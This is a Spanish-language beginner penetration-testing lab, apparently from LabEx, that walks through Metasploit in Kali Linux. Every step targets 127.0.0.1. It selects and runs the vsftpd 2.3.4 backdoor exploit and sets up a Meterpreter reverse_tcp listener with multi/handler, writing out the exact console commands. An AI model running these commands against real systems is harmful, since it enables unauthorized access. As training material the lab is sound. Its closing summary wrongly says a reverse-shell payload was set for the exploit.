Explotación en Kali con Metasploit

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderás los conceptos fundamentales de las pruebas de penetración utilizando Kali Linux dentro de un entorno controlado en la VM de LabEx. El objetivo principal es aprovechar el potente Metasploit Framework para identificar vulnerabilidades, configurar payloads, ejecutar exploits e interactuar con sistemas comprometidos a través de una sesión de Meterpreter. Diseñado para principiantes, este laboratorio te guiará paso a paso a través de técnicas esenciales de ciberseguridad de manera segura y estructurada. Al abrir la terminal, te conectarás automáticamente a la shell del contenedor de Kali Linux, listo para comenzar a practicar sin necesidad de iniciar o entrar manualmente al contenedor.

Este es un Laboratorio Guiado, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 85%. Ha recibido una tasa de valoraciones positivas del 100% por parte de los alumnos.

Inicio de Metasploit Framework

En este primer paso, iniciarás Metasploit Framework, una herramienta clave para las pruebas de penetración en Kali Linux. Este paso es esencial ya que prepara el entorno para identificar y explotar vulnerabilidades en las etapas posteriores.

Al abrir la terminal en la VM de LabEx, te conectarás automáticamente a la shell del contenedor de Kali Linux. No es necesario iniciar manualmente el contenedor ni entrar en la shell; el entorno ya está configurado para ti.

Antes de usar Metasploit, debes asegurarte de que esté instalado en el contenedor de Kali Linux. Primero, actualiza la lista de paquetes escribiendo el siguiente comando en la terminal y presionando Enter:

apt update

A continuación, instala Metasploit Framework. Esta instalación puede tardar unos minutos, así que espera a que finalice.

apt install -y metasploit-framework

Una vez instalado, inicia la consola de Metasploit escribiendo el siguiente comando y presionando Enter:

msfconsole

La primera vez que ejecutes este comando, puede tardar un momento en inicializarse mientras configura la base de datos y carga los módulos. Verás un banner en arte ASCII y un prompt similar a este cuando Metasploit se inicie:

Metasploit Framework
...
msf >

El prompt msf > indica que ya estás dentro de la consola de Metasploit, listo para interactuar con el framework. No cierres la consola, ya que la utilizarás en el siguiente paso para buscar y seleccionar un exploit.

Búsqueda y Selección de un Exploit

Ahora que has iniciado Metasploit Framework, el siguiente paso es buscar y seleccionar un exploit. Un exploit es un fragmento de código que aprovecha una vulnerabilidad de software para provocar un comportamiento no deseado, como obtener acceso no autorizado.

Dado que ya te encuentras en la consola de Metasploit (con el prompt msf6 >), busquemos un exploit relacionado con FTP (Protocolo de Transferencia de Archivos), un servicio común que puede presentar vulnerabilidades. Escribe el siguiente comando y presiona Enter:

search ftp

Este comando enumera los exploits y módulos auxiliares relacionados con FTP. El resultado mostrará una tabla con los módulos coincidentes.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

Para este laboratorio, utilizaremos el exploit vsftpd_234_backdoor. Para seleccionarlo, usa el comando use seguido del nombre del exploit.

use exploit/unix/ftp/vsftpd_234_backdoor

Tras seleccionar el exploit, el prompt cambiará para incluir el nombre del mismo, indicando que ahora es el módulo activo.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Para ver información detallada sobre el exploit seleccionado, incluyendo sus opciones y requisitos, escribe el comando info.

info

La salida proporciona detalles como la plataforma, la arquitectura y los objetivos disponibles.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Has seleccionado con éxito un exploit. En el siguiente paso, configurarás un payload para este exploit.

Nota: Labby no puede obtener los registros de operaciones dentro de la shell de msf, por lo que los siguientes pasos no serán verificados automáticamente.

Configuración del Exploit y el Payload

Con el exploit seleccionado, ahora debes configurar sus opciones y definir un payload. Un payload es el código que se ejecutará en el sistema objetivo después de que el exploit tenga éxito. Para este laboratorio, configurarás un payload de shell de comandos interactiva que te permitirá ejecutar comandos en el sistema remoto.

Importante: Antes de configurar un payload, es crucial verificar cuáles son compatibles con el exploit seleccionado. Usa el siguiente comando para ver todos los payloads compatibles:

show payloads

Esto mostrará una lista de payloads que funcionan con el exploit vsftpd_234_backdoor. Deberías ver solo un payload compatible: cmd/unix/interact.

Primero, define el payload. Utilizaremos la shell de comandos interactiva que es compatible con este exploit.

set payload cmd/unix/interact

Verás un mensaje de confirmación.

payload => cmd/unix/interact

A continuación, debes configurar las opciones del exploit. La opción RHOST (Remote Host) especifica la dirección IP de la máquina objetivo. Para esta simulación, la estableceremos en 127.0.0.1.

set RHOST 127.0.0.1

Nota importante: A diferencia de los payloads de reverse shell, el payload cmd/unix/interact no requiere configuraciones de LHOST o LPORT. Este payload establece una sesión de comandos interactiva directamente con el objetivo.

Para verificar todos los ajustes, utiliza el comando show options.

show options

Esto muestra una tabla de opciones para el exploit. Comprueba que RHOST esté configurado correctamente.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Tu exploit y payload están ahora configurados y listos para ser ejecutados en el siguiente paso.

Ejecución del Exploit

Una vez configurados el exploit y el payload, estás listo para ejecutarlo. El comando exploit ordena a Metasploit lanzar el ataque contra el objetivo especificado (RHOST).

En tu consola de Metasploit, simplemente escribe el siguiente comando y presiona Enter:

exploit

Metasploit intentará ejecutar el exploit. Dado que no hay un servicio VSFTPD vulnerable real ejecutándose en 127.0.0.1 en este entorno de laboratorio, el exploit fallará. Esto es lo esperado y sirve para demostrar el proceso de lanzamiento de un ataque.

La salida mostrará que Metasploit intentó conectarse al servicio FTP objetivo pero falló porque el servicio no está activo:

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

Nota: Con el payload cmd/unix/interact, no verías el inicio de un listener de reverse shell. En su lugar, este payload intentaría establecer una sesión de comandos interactiva directa con el servicio FTP objetivo si este fuera vulnerable y accesible.

El mensaje Exploit completed, but no session was created confirma el fallo. En un escenario real con un servicio VSFTPD vulnerable, esto establecería una sesión de shell de comandos interactiva, permitiéndote ejecutar comandos directamente en el sistema objetivo. Este paso te enseña el comando fundamental para lanzar un exploit, que es una parte central del flujo de trabajo en las pruebas de penetración.

Configuración de un Listener de Meterpreter

En este paso final, aprenderás a configurar un listener para un payload de Meterpreter. Meterpreter es un payload avanzado y rico en funciones que proporciona una shell interactiva en el sistema objetivo. En lugar de lanzar un exploit, utilizarás el módulo exploit/multi/handler para escuchar conexiones entrantes. Esto es útil cuando un exploit se entrega por otros medios (por ejemplo, un archivo malicioso) y necesitas capturar la conexión inversa.

Primero, cambia al módulo multi/handler.

use exploit/multi/handler

Tu prompt cambiará para reflejar el nuevo módulo.

msf6 exploit(multi/handler) >

A continuación, define un payload de Meterpreter. Utilizaremos uno diseñado para sistemas Linux.

set payload linux/x86/meterpreter/reverse_tcp

Ahora, configura las opciones del listener, LHOST y LPORT, tal como hiciste anteriormente.

set LHOST 127.0.0.1

Nota: Es posible que veas un mensaje de advertencia sobre la vinculación a una dirección de loopback. Esto es normal cuando se usa localhost (127.0.0.1) y puede ignorarse con seguridad en este laboratorio.

set LPORT 4444

Finalmente, inicia el listener usando el comando exploit.

exploit

Metasploit iniciará un listener en la IP y el puerto especificados, esperando a que se conecte una sesión de Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444

La consola permanecerá activa, esperando una conexión. En un escenario real, si una máquina objetivo ejecutara el payload de Meterpreter correspondiente, se establecería una sesión aquí. Dado que ningún objetivo se conectará en este laboratorio, puedes detener el listener presionando Ctrl + C.

Para salir de la consola de Metasploit, escribe exit y presiona Enter.

Resumen

En este laboratorio, has aprendido los pasos fundamentales de las pruebas de penetración utilizando Kali Linux y Metasploit Framework. Comenzaste iniciando Metasploit, buscaste y seleccionaste un exploit, configuraste tanto el exploit como un payload de shell inversa y ejecutaste el ataque en un entorno simulado. También aprendiste a configurar un listener independiente para un payload avanzado de Meterpreter. Estos pasos proporcionan una introducción práctica al flujo de trabajo principal para identificar vulnerabilidades, preparar payloads y comprender el proceso de explotación. Al seguir este enfoque estructurado, has obtenido experiencia práctica con herramientas y técnicas esenciales de ciberseguridad.